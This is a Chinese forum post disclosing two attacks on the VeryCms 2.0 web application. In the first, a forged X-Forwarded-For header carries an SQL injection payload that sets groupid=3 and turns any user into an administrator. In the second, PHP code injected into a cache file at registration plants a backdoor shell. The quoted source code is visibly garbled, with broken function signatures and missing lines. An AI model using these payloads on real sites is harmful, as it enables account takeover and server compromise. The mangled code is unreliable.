- 帖子
- 460
- 积分
- 963
- 威望
- 1445
- 金钱
- 821
- 在线时间
- 5 小时
|
VeryCms2.0权限提升漏洞
passport_client.php
function Loginipwritewinduid){
global $db,$timestamp
$logininfo="$onlineip||6";
$db->update(
"UPDATE pw_user SET lastvisit=thisvisit,thisvisit=’’$timestamp’’,onlineip=’’$logininfo’’ WHERE uid=’’$winduid’’");
}
再看$onlineip是怎么来的
Global.php
if(SERVER[’’HTTP_’’REMOTE_ADDR’’];
}
);
十六个字节,够提升权限的了吧?
抓包提交
HTTP_X_FORWARDED_FOR: ’’,groupid=3,/*
嘎嘎,每个人都成了管理员鸟
另外还有一点非常非常鸡肋的问题,在php.ini中若short_open_tag = off时可以得到shell
看 register.php中的一段代码
if($rg_allowsameip){
if(file_exists(D_P.’data/cache/ip_cache.php’)){
writeover(D_P.’data/cache/ip_cache.php’>","ab");
}else{
writeover(D_P.’data/cache/ip_cache.
}
}
我们注册的时候抓包提交 HTTP_X_FORWARDED_FOR 为 ?require($a);?
data/cache/ip_cache.php就变成了这样的形式
<?die;?>
……
($a
在php.ini中若short_open_tag = off, die() 就可以被饶过,从而执行我们的后门。 |
|